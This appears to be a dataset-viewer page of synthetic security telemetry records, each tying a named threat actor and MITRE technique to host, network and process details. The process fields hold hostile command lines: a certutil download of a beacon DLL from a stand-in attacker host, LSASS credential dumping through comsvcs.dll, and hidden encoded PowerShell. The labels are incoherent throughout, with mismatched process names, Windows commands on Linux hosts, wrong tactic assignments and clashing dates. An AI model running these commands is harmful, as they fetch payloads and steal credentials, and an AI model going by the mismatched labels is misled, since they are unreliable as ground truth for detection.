text
stringlengths
1.13k
1.33k
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Collection","Impact"],"technique_id":"T1531"},"event_id":"evt_lapsus_20261126T132552000Z_0019601","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.109.64.143","name":"APP-WEB-7TBUEVO7V9","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19601Lapsus$T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.73.104.238","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-14T07:40:26.000Z","user":{"name":"arn:aws:iam::tg2f6rbp52ct","sid":"S-1-5-21-223593617-701335908-5013"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Lateral Movement"],"technique_id":"T1566.001"},"event_id":"evt_apt29_20251124T220858000Z_0019603","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.228.52.138","name":"EC2-INST-D520ZJP0L3","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19603APT29T1566.001"},"network":{"domain":"github.com","dst_ip":"1.44.147.186","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-01-03T14:03:42.000Z","user":{"name":"i-osq41h69ox7q","sid":"S-1-5-21-984143573-374209497-9111"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Collection","Credential Access","Persistence"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20260802T161241000Z_0019605","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.14.44.110","name":"APP-WEB-GPOUG1M3PF","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19605APT29T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.82.98.142","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-01-07T17:35:44.000Z","user":{"name":"arn:aws:iam::1zua2piuh10f","sid":"S-1-5-21-760908818-375628609-7076"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Persistence","Lateral Movement","Credential Access"],"technique_id":"T1021.006"},"event_id":"evt_unc4841_20251124T151823000Z_0019607","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.222.243.119","name":"DB-ORACLE-RKSP1MUCQN","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19607UNC4841T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.141.199.218","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 765 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-08-12T08:15:15.000Z","user":{"name":"i-mtkj978xznt9","sid":"S-1-5-21-890537584-532918359-5794"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Lateral Movement","Privilege Escalation"],"technique_id":"T1071.001"},"event_id":"evt_apt41_20261116T162250000Z_0019609","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.35.216.42","name":"EC2-INST-7K7VG00341","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19609APT41T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.184.12.92","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3747 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-05-30T16:30:25.000Z","user":{"name":"azuread\\rp1ocglkyjb9","sid":"S-1-5-21-166822985-561922018-2350"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Exfiltration"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20250910T001726000Z_0019611","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.74.65.40","name":"AZURE-VM-U7DPSF5XAE","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19611APT29T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.141.68.209","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3581 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-01-02T15:48:18.000Z","user":{"name":"svc_4y4938tosgk6","sid":"S-1-5-21-670442053-623656340-3267"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Privilege Escalation","Impact"],"technique_id":"T1570"},"event_id":"evt_fin7_20260909T011237000Z_0019613","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.98.65.149","name":"DB-ORACLE-XQ3QPZ2MDF","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19613FIN7T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.153.40.215","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-04-14T07:16:08.000Z","user":{"name":"CORP\\5qyxf4z6928m","sid":"S-1-5-21-689584082-648193867-1799"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Discovery"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20260826T012149000Z_0019615","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.242.231.206","name":"AZURE-VM-7YCXAFUVF9","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19615Volt TyphoonT1021.006"},"network":{"domain":"github.com","dst_ip":"1.40.100.153","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-03-13T03:15:59.000Z","user":{"name":"svc_832pdjra7ibx","sid":"S-1-5-21-389799073-505546843-9806"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Collection"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20251106T085727000Z_0019617","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.166.155.150","name":"DB-ORACLE-1ESNYGUOQX","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19617APT41T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.21.101.215","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 661 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-03-13T06:10:02.000Z","user":{"name":"svc_g79m5zy78wx9","sid":"S-1-5-21-157408485-362754937-8380"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Command and Control","Defense Evasion","Execution"],"technique_id":"T1570"},"event_id":"evt_apt29_20250127T203210000Z_0019619","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.134.18.81","name":"AZURE-VM-00STUHPX7T","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19619APT29T1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.181.168.14","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1490 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-04-27T19:20:14.000Z","user":{"name":"CORP\\sj8cysu26zb6","sid":"S-1-5-21-198094952-465225915-5495"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Privilege Escalation","Lateral Movement"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20260406T222418000Z_0019621","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.60.251.127","name":"WIN-FIN-SRV-IPQPWKNRDD","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19621APT41T1484.001"},"network":{"domain":"github.com","dst_ip":"1.111.188.129","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-05-30T13:56:16.000Z","user":{"name":"azuread\\d6jo34zeydv9","sid":"S-1-5-21-364959067-835437938-4895"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Discovery","Command and Control"],"technique_id":"T1021.006"},"event_id":"evt_scatteredspider_20260225T075843000Z_0019623","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.184.217.86","name":"APP-WEB-U7BTVMNBYK","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19623Scattered SpiderT1021.006"},"network":{"domain":"github.com","dst_ip":"1.100.74.167","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 932 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-08-26T09:22:58.000Z","user":{"name":"i-o4c5vs2wt10z","sid":"S-1-5-21-170914819-936297845-1799"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Defense Evasion","Impact","Lateral Movement"],"technique_id":"T1531"},"event_id":"evt_volttyphoon_20250714T152222000Z_0019625","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.237.10.188","name":"DB-ORACLE-9S5WN9HW88","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19625Volt TyphoonT1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.49.118.154","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-06-26T22:16:12.000Z","user":{"name":"CORP\\47onztj197dc","sid":"S-1-5-21-734928814-289094302-7255"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Lateral Movement","Privilege Escalation","Collection"],"technique_id":"T1059.001"},"event_id":"evt_volttyphoon_20250203T192554000Z_0019627","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.179.132.72","name":"IAM-ROLE-3FLLYMP03A","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19627Volt TyphoonT1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.65.5.135","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2149 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-06-08T20:39:53.000Z","user":{"name":"svc_mz12znmmm5vs","sid":"S-1-5-21-654124082-231796581-1729"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Lateral Movement","Impact"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20250927T142049000Z_0019629","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.255.251.77","name":"EC2-INST-J3SN8SK9S1","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19629UNC4841T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.137.118.128","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-12-09T15:25:25.000Z","user":{"name":"CORP\\n50u2l8ik702","sid":"S-1-5-21-985080826-687546226-1957"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Credential Access","Privilege Escalation"],"technique_id":"T1531"},"event_id":"evt_unc4841_20250212T033038000Z_0019631","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Base64","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.50.102.50","name":"DB-ORACLE-AMFVJBDNMZ","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19631UNC4841T1531"},"network":{"domain":"github.com","dst_ip":"1.143.26.222","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2717 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-05-28T13:56:21.000Z","user":{"name":"CORP\\lpxfr5mkj4le","sid":"S-1-5-21-552155243-658248344-8949"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Exfiltration","Execution","Collection"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20250116T085809000Z_0019633","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.85.33.182","name":"IAM-ROLE-4R5WOZVD2G","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19633Mustang PandaT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.187.219.182","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-09-01T23:06:02.000Z","user":{"name":"i-h19gzw5avdcq","sid":"S-1-5-21-520717431-762588089-3170"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Persistence","Defense Evasion"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20261225T045546000Z_0019635","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.179.232.240","name":"DB-ORACLE-F6LSEC1Y46","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19635Lapsus$T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.61.123.169","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-04-15T09:28:43.000Z","user":{"name":"i-xw6mzwr0y3oq","sid":"S-1-5-21-250013897-851909564-5797"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Persistence","Reconnaissance","Privilege Escalation"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20260110T115139000Z_0019637","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.108.188.109","name":"AZURE-VM-U0FR4QETY1","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19637APT41T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.133.136.66","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-03-23T21:41:24.000Z","user":{"name":"CORP\\qosl8i8z04ah","sid":"S-1-5-21-793138436-285136588-2995"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Persistence","Lateral Movement","Privilege Escalation"],"technique_id":"T1071.001"},"event_id":"evt_apt41_20261005T014533000Z_0019639","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.27.227.83","name":"APP-WEB-RZCLZR5GKZ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19639APT41T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.60.45.11","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-07-09T22:56:54.000Z","user":{"name":"i-yq0nd8fzhawb","sid":"S-1-5-21-742648681-316916521-2396"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Command and Control","Exfiltration"],"technique_id":"T1021.006"},"event_id":"evt_apt29_20261117T144243000Z_0019641","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.163.212.235","name":"APP-WEB-ENVJ1P6IVS","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19641APT29T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.10.172.112","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-12-02T11:55:07.000Z","user":{"name":"i-s1i3mqzr71s2","sid":"S-1-5-21-758824589-553096443-8043"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Exfiltration"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20260606T145554000Z_0019643","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.17.172.91","name":"EC2-INST-MYL0NRNNQE","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19643APT41T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.85.24.227","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 529 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-07-02T14:48:47.000Z","user":{"name":"i-6qcxrz8zdlx7","sid":"S-1-5-21-146569984-791676211-6846"}}
